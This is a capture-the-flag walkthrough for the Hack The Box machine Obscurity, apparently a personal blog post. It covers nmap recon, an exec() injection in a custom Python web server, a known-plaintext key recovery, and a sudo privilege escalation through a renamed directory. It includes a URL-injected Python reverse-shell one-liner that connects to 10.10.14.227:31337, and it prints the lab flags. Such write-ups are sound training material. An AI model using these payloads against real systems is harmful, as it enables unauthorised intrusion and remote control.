Information Gathering
Nmap
Begin my recon with Nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# Nmap 7.80SVN scan initiated Tue Dec 3 21:18:31 2019 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Obscurity/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Obscurity/scans/xml/_quick_tcp_nmap.xml 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up, received user-set (0.75s latency).
Scanned at 2019-12-03 21:18:44 +08 for 313s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMGbaGqnhJ5GoiEH4opql41JoOBmB089aA2wQZgp5GCxf3scJti3BWS30ugrj2PBMydulKmeiAbHWA37ojLyAJxSdvyWrPqneEZfdaMCm/9NPnPSouZgQKLoOg/w8DEPeXfon8bxGYOt3HMXtVMk04/kt09ad7E2Eej8WzAp2k3JJX17ndZL0S5UNDJFyh6pHhGqCtjOapLGb1QwS7BDw+kHiZrkZbDRa1rMv5a/QoljgOIq0byvm5jEVe4NhKKfgwH7kXEU1DAlXmWYzsq/ZdhhwutrjbDam5alw4UAE/35DcPlnVl/7eRK6RIARJPZEQ0O64ixlzbAfIcDGi8GOr
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAygZOWHjNzQWySvfTX7s9Cnz0eSrc9IS/8wk126Wby5EAUmSalXlAL5WETz8nu/JN8nVpgHYEW6/mZm071xMd0=
| 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ6lPjlgfOScC0NXPX926fST+MXZViZJzBQPXDWsdHuw
80/tcp closed http conn-refused
8080/tcp open http-proxy syn-ack BadHTTPServer
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 03 Dec 2019 13:23:46
| Server: BadHTTPServer
| Last-Modified: Tue, 03 Dec 2019 13:23:46
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
| <div class="sk-spinner sk-spinner-wordpress">
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 03 Dec 2019 13:23:48
| Server: BadHTTPServer
| Last-Modified: Tue, 03 Dec 2019 13:23:48
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80SVN%I=9%D=12/3%Time=5DE661A6%P=x86_64-unknown-linux-
SF:gnu%r(GetRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2003\x20D
SF:ec\x202019\x2013:23:46\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue
SF:,\x2003\x20Dec\x202019\x2013:23:46\nContent-Length:\x204171\nContent-Ty
SF:pe:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x2
SF:0lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura<
SF:/title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge
SF:\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20i
SF:nitial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<me
SF:ta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\
SF:x20Template\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!
SF:--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\
SF:"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"cs
SF:s/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"cs
SF:s/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20dat
SF:a-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\
SF:n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk
SF:-spinner-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nD
SF:ate:\x20Tue,\x2003\x20Dec\x202019\x2013:23:48\nServer:\x20BadHTTPServer
SF:\nLast-Modified:\x20Tue,\x2003\x20Dec\x202019\x2013:23:48\nContent-Leng
SF:th:\x204171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOC
SF:TYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-
SF:8\">\n\t<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible
SF:\"\x20content=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"w
SF:idth=device-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\
SF:x20content=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!-
SF:-\x20\nEasy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-
SF:easy-profile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\
SF:"stylesheet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"st
SF:ylesheet\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"st
SF:ylesheet\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20dat
SF:a-spy=\"scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20prelo
SF:ader\x20section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20c
SF:lass=\"sk-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 3 21:23:57 2019 -- 1 IP address (1 host up) scanned in 326.24 seconds
Open Port:22, 80, 8080
But port 80 refused the connection. Just check web with port 8080 then.
Web
The landing page not giving much info
scroll to the end of page, caught file name in python, SuperSecureServer
Burp
Due to my gobuster scan didn’t pick up anything even after I put the file name, I load my burp, just for a routine check. After some time, hit the correct page.
SuperSecureServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
print(exec(info.format(path))) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
req = Request()
print(req)
Exploitation
Reverse Shell
Looking through the script, stopped at line exec
function. This wasn’t good practice as the script was a server. This will led to RCE.
using python reverse shell line and urlencode it, run it in repeater ;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.227",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Got connection back. Yeah!!
Enum
home
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@obscure:/home/robert$ ls -la
ls -la
total 66
drwxr-xr-x 7 robert robert 4096 May 9 08:07 .
drwxr-xr-x 3 root root 4096 Sep 24 2019 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct 3 2019 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec 2 09:53 .config
drwx------ 3 robert robert 4096 Oct 3 2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct 3 2019 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 2019 user.txt
check.txt
1
2
3
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
Opening passwordreminder.txt and out.txt => have to kill my shell. The files doesn’t have a line terminator inside it, I assume it was generated by some script.
SuperSecureCrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
Looking at the script, it reminds me to xor encryption. Basically means u know the clear text, u will get the secret key.
Crack the key
let’s try out.txt as input, and the plain text, which is original file as key, then supply with decrypt flag.
Opening the result file, saw a repeated string. The alexandrovich
should be the key. Knowing this, now just decrypt the passwordreminder.txt with the correct key.
The decrypted key was SecThruObsFTW
SSH as robert
With the cracked key, login as Robert with SSH.
User flag
1
2
3
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
robert@obscure:~$
Privesc
Run sudo -l to look what can I do with sudo right
Renaming dir
Look at the BetterSSH dir permission, I can rename it. So rename it to something else, and create new BetterSSH with BetterSSH.py in it. My python reverse shell payload was in that python file.
BetterSSH.py content
Run sudo command for this file, gave me root shell. Nice!!
Victory
Root flag
As root, just grab the root flag.
1
2
3
# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3
#
Comments powered by Disqus.